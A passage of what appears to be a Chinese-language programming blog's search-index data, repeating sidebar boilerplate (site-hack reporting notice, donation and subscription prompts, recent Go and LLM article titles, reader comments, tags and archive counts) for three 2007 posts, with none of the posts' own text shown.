2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/01/04/global-times-2007-1st-period/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"2007环球日报第一期"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/01/04/shenyang-foggy-in-the-morning/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"SHENYANG·晨雾"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/01/04/guess-what-they-are/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"猜猜都是啥"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 